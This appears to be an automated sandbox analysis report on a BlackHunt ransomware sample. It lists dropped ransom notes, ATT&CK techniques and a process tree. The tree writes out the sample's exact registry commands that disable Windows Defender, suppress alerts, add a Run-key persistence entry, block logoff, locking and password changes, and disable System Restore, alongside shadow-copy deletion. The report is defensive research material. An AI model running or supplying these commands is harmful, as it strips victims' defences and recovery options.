File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tg.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Google\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jdwpTransport.h	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\dotnet\shared\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\7zCon.sfx	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\7-zip.chm	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
268	5148	WerFault.exe	286

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4984	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3928	vssadmin.exe
4588	vssadmin.exe
1120	vssadmin.exe
5540	vssadmin.exe
1352	vssadmin.exe
4064	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4892	taskkill.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5456	PING.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Token: SeRestorePrivilege	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Token: SeBackupPrivilege	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Token: SeTakeOwnershipPrivilege	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Token: SeAuditPrivilege	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Token: SeSecurityPrivilege	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Token: SeIncBasePriorityPrivilege	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Token: SeBackupPrivilege	5496	vssvc.exe
Token: SeRestorePrivilege	5496	vssvc.exe
Token: SeAuditPrivilege	5496	vssvc.exe
Token: SeBackupPrivilege	408	wbengine.exe
Token: SeRestorePrivilege	408	wbengine.exe
Token: SeSecurityPrivilege	408	wbengine.exe
Token: SeSecurityPrivilege	3440	wevtutil.exe
Token: SeBackupPrivilege	3440	wevtutil.exe
Token: SeSecurityPrivilege	6060	wevtutil.exe
Token: SeBackupPrivilege	6060	wevtutil.exe
Token: SeSecurityPrivilege	5384	wevtutil.exe
Token: SeBackupPrivilege	5384	wevtutil.exe
Token: SeSecurityPrivilege	3924	wevtutil.exe
Token: SeBackupPrivilege	3924	wevtutil.exe
Token: SeSecurityPrivilege	3464	wevtutil.exe
Token: SeBackupPrivilege	3464	wevtutil.exe
Token: SeDebugPrivilege	4892	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4276 wrote to memory of 4852	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	91
PID 4276 wrote to memory of 4852	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	91
PID 4276 wrote to memory of 3972	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	93
PID 4276 wrote to memory of 3972	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	93
PID 4276 wrote to memory of 5016	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	95
PID 4276 wrote to memory of 5016	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	95
PID 4276 wrote to memory of 1236	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	97
PID 4276 wrote to memory of 1236	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	97
PID 4276 wrote to memory of 3420	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	99
PID 4276 wrote to memory of 3420	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	99
PID 4852 wrote to memory of 1116	4852	cmd.exe	101
PID 4852 wrote to memory of 1116	4852	cmd.exe	101
PID 1236 wrote to memory of 2320	1236	cmd.exe	102
PID 1236 wrote to memory of 2320	1236	cmd.exe	102
PID 5016 wrote to memory of 3708	5016	cmd.exe	103
PID 5016 wrote to memory of 3708	5016	cmd.exe	103
PID 3420 wrote to memory of 1068	3420	Process not Found	105
PID 3420 wrote to memory of 1068	3420	Process not Found	105
PID 4276 wrote to memory of 1040	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	106
PID 4276 wrote to memory of 1040	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	106
PID 3972 wrote to memory of 3636	3972	cmd.exe	104
PID 3972 wrote to memory of 3636	3972	cmd.exe	104
PID 4276 wrote to memory of 4720	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	108
PID 4276 wrote to memory of 4720	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	108
PID 4276 wrote to memory of 2888	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	109
PID 4276 wrote to memory of 2888	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	109
PID 4276 wrote to memory of 4456	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	111
PID 4276 wrote to memory of 4456	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	111
PID 4276 wrote to memory of 3140	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	114
PID 4276 wrote to memory of 3140	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	114
PID 4276 wrote to memory of 2384	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	120
PID 4276 wrote to memory of 2384	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	120
PID 4276 wrote to memory of 3184	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	116
PID 4276 wrote to memory of 3184	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	116
PID 1040 wrote to memory of 1988	1040	cmd.exe	119
PID 1040 wrote to memory of 1988	1040	cmd.exe	119
PID 4276 wrote to memory of 4380	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	121
PID 4276 wrote to memory of 4380	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	121
PID 4720 wrote to memory of 3372	4720	cmd.exe	188
PID 4720 wrote to memory of 3372	4720	cmd.exe	188
PID 4456 wrote to memory of 3696	4456	cmd.exe	124
PID 4456 wrote to memory of 3696	4456	cmd.exe	124
PID 4276 wrote to memory of 4520	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	125
PID 4276 wrote to memory of 4520	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	125
PID 4276 wrote to memory of 3528	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	127
PID 4276 wrote to memory of 3528	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	127
PID 2888 wrote to memory of 3200	2888	cmd.exe	129
PID 2888 wrote to memory of 3200	2888	cmd.exe	129
PID 2384 wrote to memory of 4876	2384	cmd.exe	130
PID 2384 wrote to memory of 4876	2384	cmd.exe	130
PID 4276 wrote to memory of 2024	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	134
PID 4276 wrote to memory of 2024	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	134
PID 3184 wrote to memory of 4348	3184	cmd.exe	131
PID 3184 wrote to memory of 4348	3184	cmd.exe	131
PID 4276 wrote to memory of 1840	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	132
PID 4276 wrote to memory of 1840	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	132
PID 4276 wrote to memory of 3556	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	137
PID 4276 wrote to memory of 3556	4276	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe	137
PID 3140 wrote to memory of 4388	3140	cmd.exe	136
PID 3140 wrote to memory of 4388	3140	cmd.exe	136
PID 4380 wrote to memory of 3652	4380	cmd.exe	138
PID 4380 wrote to memory of 3652	4380	cmd.exe	138
PID 4520 wrote to memory of 964	4520	cmd.exe	140
PID 4520 wrote to memory of 964	4520	cmd.exe	140

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
"C:\Users\Admin\AppData\Local\Temp\de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1236
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:3420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:3372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2300
